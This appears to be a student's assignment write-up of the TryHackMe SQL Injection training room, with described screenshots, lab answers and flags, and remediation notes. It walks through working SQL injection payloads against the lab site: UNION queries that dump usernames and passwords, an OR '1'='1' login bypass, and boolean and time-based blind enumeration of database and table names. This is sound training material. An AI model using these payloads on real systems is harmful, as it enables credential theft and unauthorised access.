

Task # 01 :

The screenshot shows the TryHackMe SQL Injection room interface. At the top, the browser tabs include 'Assignment 03 - Classroom', 'ADBMS : Assignment 03 - Google', 'TryHackMe | SQL Injection', and 'bscs24149_Assignemnt#03 - Google'. The address bar shows 'tryhackme.com/room/sqlinjectionlm'. A progress bar at the top indicates 'Room progress (7%)'. The main content area is titled 'Task 1 Brief' and contains the following text:

SQL (Structured Query Language) Injection, mostly referred to as SQLi, is an attack on a web application database server that causes malicious queries to be executed. When a web application communicates with a database using input from a user that hasn't been properly validated, there runs the potential of an attacker being able to steal, delete or alter private and customer data and also attack the web application authentication methods to private or customer areas. This is why SQLi is one of the oldest web application vulnerabilities, and it can also be the most damaging.

In this room, you'll learn what databases are, what SQL is with some basic SQL commands, how to detect SQL vulnerabilities, how to exploit SQLi vulnerabilities and, as a developer, how you can protect yourself against SQL Injection.

Answer the questions below

What does SQL stand for?

Structured Query Language

✓ Correct Answer

Task 2 What is a Database?

Task 3 What is SQL?

Task 4 What is SQL Injection?

The Windows taskbar at the bottom shows the search bar and various application icons. The system clock indicates 4:56 PM on 5/11/2026.

Task # 02 :

The screenshot shows the TryHackMe SQL Injection room interface. At the top, the browser tabs include 'Assignment 03 - Classroom', 'ADBMS : Assignment 03 - Google', 'TryHackMe | SQL Injection', and 'bscs24149_Assignemnt#03 - Google'. The address bar shows 'tryhackme.com/room/sqlinjectionlm'. A progress bar at the top indicates 'Room progress (23%)'. The main content area contains the following text:

Relational Vs Non-Relational Databases:

A relational database stores information in tables, and often, the tables share information between them; they use columns to specify and define the data being stored and rows actually to store the data. The tables will often contain a column that has a unique ID (primary key), which will then be used in other tables to reference it and cause a relationship between the tables, hence the name **relational** database.

Non-relational databases, sometimes called NoSQL, on the other hand, are any sort of database that doesn't use tables, columns and rows to store the data. A specific database layout doesn't need to be constructed so each row of data can contain different information, giving more flexibility over a relational database. Some popular databases of this type are MongoDB, Cassandra and ElasticSearch.

Now that you've learned what a database is let's learn how we can actually talk to it using SQL.

Answer the questions below

What is the acronym for the software that controls a database?

DBMS

✓ Correct Answer

What is the name of the grid-like structure which holds the data?

table

✓ Correct Answer

Task 3 What is SQL?

Task 4 What is SQL Injection?

The Windows taskbar at the bottom shows the search bar and various application icons. The system clock indicates 5:03 PM on 5/11/2026.

Task # 03 :

tryhackme.com/room/sqlinjectionlm

Room progress (40%)

Answer the questions below

What SQL statement is used to retrieve data?

SELECT

✓ Correct Answer

What SQL clause can be used to retrieve data from multiple tables?

UNION

✓ Correct Answer

What SQL statement is used to add data?

INSERT

✓ Correct Answer

Task 4 ○ What is SQL Injection?

Task 5 ○ In-Band SQLi

Task 6 ○ Blind SQLi - Authentication Bypass

Task 7 ○ Blind SQLi - Boolean Based

Task 8 ○ Blind SQLi - Time Based

Task # 04 :

tryhackme.com/room/sqlinjectionlm

Room progress (53%)

`SELECT * from blog where id=2;-- and private=0 LIMIT 1;`

The semicolon in the URL signifies the end of the SQL statement, and the two dashes cause everything afterwards to be treated as a comment. By doing this, you're just, in fact, running the query:

`SELECT * from blog where id=2;--`

Which will return the article with an ID of 2 whether it is set to public or not.

This was just one example of an SQL Injection vulnerability of a type called In-Band SQL Injection; there are three types in total: In-Band, Blind and Out-of-Band, which we'll discuss over the following tasks.

Answer the questions below

What character signifies the end of an SQL query?

;

✓ Correct Answer

Task 5 ○ In-Band SQLi

Task 6 ○ Blind SQLi - Authentication Bypass

Task 7 ○ Blind SQLi - Boolean Based

Task 8 ○ Blind SQLi - Time Based

Task # 05 :

Room progress (53%)

can use the username and password columns for our following query to retrieve the user's information.

```
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
```

Again, we use the group_concat method to return all of the rows into one string and make it easier to read. We've also added ,: to split the username and password from each other. Instead of being separated by a comma, we've chosen the HTML
 tag that forces each result to be on a separate line to make for easier reading.

You should now have access to Martin's password to enter and move to the next level.

Answer the questions below

What is the flag after completing level 1?

Check

Task 6 Blind SQLi - Authentication Bypass

Task 7 Blind SQLi - Boolean Based

Level One

Error Based SQLi

Article ID: 1

admin:p4ssword
martin:pa\$\$word
jim:work123

SQL Query

```
select * from article where id = 0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR ') FROM staff_users
```

Answer

What is the user martin's password?

pa\$\$word

Check Password

This query uses UNION SELECT to retrieve usernames and passwords from the staff_users table. The group_concat() function combines all usernames and passwords into a single readable string, where : separates username and password, and
 places each user's data on a new line in the webpage output.

Room progress (53%)

Firstly, we'll try the UNION operator so we can receive an extra result if we choose it. Try setting the mock browsers id parameter to:

```
1 UNION SELECT 1
```

This statement should produce an error message informing you that the UNION SELECT statement has a different number of columns than the original SELECT query. So let's try again but add another column:

```
1 UNION SELECT 1,2
```

Same error again, so let's repeat by adding another column:

```
1 UNION SELECT 1,2,3
```

Success, the error message has gone, and the article is being displayed, but now we want to display our data instead of the article. The article is displayed because it takes the first returned result somewhere in the website's code and shows that. To get around that, we need the first query to produce no results. This can simply be done by changing the article ID from 1 to 0.

```
0 UNION SELECT 1,2,3
```

You'll now see the article is just made up of the result from the UNION select, returning the column values 1, 2, and 3. We can start using these returned values to retrieve more useful information. First, we'll get the database name that we have access to:

```
0 UNION SELECT 1,2,database()
```

Level Two

Blind SQLi

THM{SQL_INJECTION_3840}

Login Form

You bypassed the login and now move to the next level

Level 3

SQL Query

```
select * from users where username='admin' OR '1'='1' --' and password='123' LIMIT 1;
```

SQL Results

123

Task # 06 :

The screenshot displays the TryHackMe SQL Injection room interface. The top navigation bar shows the room name 'SQL Injection' and the progress 'Room progress (69%)'. The main content area is divided into sections. On the left, there's a sidebar with 'Echo' AI assistance and a list of tasks. The central area shows a SQL query: `0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users`. Below the query, there's a text box with the question 'What is the flag after completing level 1?' and a green 'Correct Answer' button. On the right, there are examples of SQL injection payloads, including a 'Level Three Boolean Based Blind SQLi' example with the payload 'THM{SQL_INJECTION_9581}'. The bottom of the interface shows a Windows taskbar with various application icons.

Task # 07 :

```
admin123' UNION SELECT 1;-- :
```

Used this command the flag turned false . This query attempts a UNION-based SQL Injection by closing the original input with ' , adding a UNION SELECT statement to retrieve extra data, and using -- to comment out the remaining SQL query.

```
admin123' UNION SELECT 1,2,3 where database() like 's%';-- :
```

This query performs a UNION-based SQL Injection and checks whether the database name starts with the letter s using the LIKE 's%' condition, while -- comments out the rest of the original SQL query.

```
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';-- :
```

This query searches the information_schema.tables table to check whether the sqli_three database contains any table whose name starts with the letter a, while -- comments out the remaining part of the SQL query.

```
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';-- :
```

This query checks the information_schema.tables table to determine whether a table named users exists inside the sqli_three database, while -- comments out the remaining original SQL query.

```
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE  
TABLE SCHEMA='sqli_three' and TABLE NAME='users' and COLUMN NAME like  
'a%';
```

This query searches the `information_schema.columns` table to check whether the `users` table in the `sqli_three` database contains any column name starting with the letter `a`.

```
admin123' UNION SELECT 1,2,3 from users where username='admin' and  
password like 'a%':
```

This query checks whether the `admin` user's password starts with the letter `a` by using the `LIKE 'a%'` condition on the `password` column.

The screenshot shows the TryHackMe SQL Injection room interface. On the left, an 'Echo' chat window displays a message about SQL injection payloads. The main area shows 'Level Four: Time Based Blind SQLi' with a task description and a 'Correct Answer' button. The right sidebar shows a 'Login Form' and a table with 'SQL Query' and 'SQL Results'.

SQL Query	SQL Results
<code>select * from analytics_referrers where domains='tryhackme.com admin123' UNION SELECT SLEEP(5);-- LIMIT 1</code>	<code>SQLSTATE[21000]: Cardinality violation: 1222 The used SELECT statements have a different number of columns</code>

Task # 08 :

```
admin123' UNION SELECT SLEEP(5);-- :
```

This query attempts a time-based SQL Injection by using the `SLEEP(5)` function, which delays the database response for 5 seconds to test whether the application is vulnerable.

```
admin123' UNION SELECT SLEEP(5),2;-- :
```

This query performs a time-based SQL Injection using SLEEP(5) to delay the response by 5 seconds, while 2 is added to match the required number of columns in the original query.

```
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--:
```

This query uses a time-based SQL Injection to check whether the database name starts with the letter u; if the condition is true, the SLEEP(5) function delays the response by 5 seconds.

The screenshot shows a web browser window displaying the TryHackMe SQL Injection training room. The browser tabs include "Assignment 03 - Classroom", "ADBMS : Assignment 03 - Google", "TryHackMe | SQL Injection", "bscs24149_Assignment#03 - Google", and "(3) tryhackme sql - YouTube". The address bar shows "tryhackme.com/room/sqlinjectionlm".

The interface is divided into several sections:

- Room progress (84%)**: A blue header bar at the top of the main content area.
- SQL Injection Examples**: A sidebar on the right with a list of examples, including "THM[SQL_INJECTION_MASTER]" which is highlighted.
- Training Complete**: A large green banner in the center of the room.
- Task 9**: A task titled "Out-of-Band SQLi" with a dropdown menu.
- Task 10**: A task titled "Remediation" with a dropdown menu.
- Chat**: A chat window on the left side of the room, showing a message from "Echo" (Powered by AI) that says "checking for an error message related to the number of columns returned." and a response from "admin123" that says "admin123' UNION SELECT 1;-- write a short discription about this command".

The main content area displays a SQL injection payload: `referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--:`. Below the payload, there is a section titled "Answer the questions below" with a question: "What is the final flag after completing level four?". The answer is `THM[SQL_INJECTION_MASTER]`, and a green button labeled "Correct Answer" is visible.

Task # 09 :

tryhackme.com/room/sqlinjectionlm

Echo Beta
Powered by AI

checking for an error message related to the number of columns returned.

admin123' UNION SELECT 1;--
write a short discription about this command

Echo

The command `admin123' UNION SELECT 1;--` is a SQL injection payload used to manipulate a SQL query. It attempts to exploit a vulnerability in the web application by injecting SQL code into the input field, in this case, the username field. The first part, `admin123'`, is a typical username input followed by an apostrophe to break out of the expected input format. The `UNION SELECT 1` part is used to combine the results of the original query with a new query that returns a static value of `1`.

Type your message...

Room progress (92%)

Hacker → **Website** → **Database**

1. Hacker sends input to Website
2. Website sends request to Database
3. Database returns result to Hacker

SQL Injection Examples

Training Complete
THM{SQL_INJECTION_MASTER}

Answer the questions below

Name a protocol beginning with D that can be used to exfiltrate data from a database.

DNS

✓ Correct Answer

Task 10 Remediation

sqlinjectionv2-badr (savagenj) 1h 8min 1s

7:10 PM 5/11/2026

Task # 10 :

tryhackme.com/room/sqlinjectionlm

Room completed (100%)

doesn't change and the database can distinguish between the query and the data. As a benefit, it also makes your code look much cleaner and easier to read.

Input Validation:
Input validation can go a long way to protecting what gets put into an SQL query. Employing an allow list can restrict input to only certain strings, or a string replacement method in the programming language can filter the characters you wish to allow or disallow.

Escaping User Input:
Allowing user input containing characters such as `' " $ \` can cause SQL Queries to break or, even worse, as we've learnt, open them up for injection attacks. Escaping user input is the method of prepending a backslash (`\`) to these characters, which then causes them to be parsed just as a regular string and not a special character.

Answer the questions below

Name a method of protecting yourself from an SQL Injection exploit.

Prepared Statements

✓ Correct Answer

How likely are you to recommend this room to others?

1 2 3 4 5 6 7 8 9 10

SQL Injection Examples

Level One
Error Based SQLi

https://website.thm/article?id=1

My First Article
Article ID: x
Hi and welcome to my very first article for my new website.....

SQL Query
select * from article where id = 1

Answer
What is the user martin's password?
password
Check Password

sqlinjectionv2-badr (savagenj) 9min 23s

7:12 PM 5/11/2026

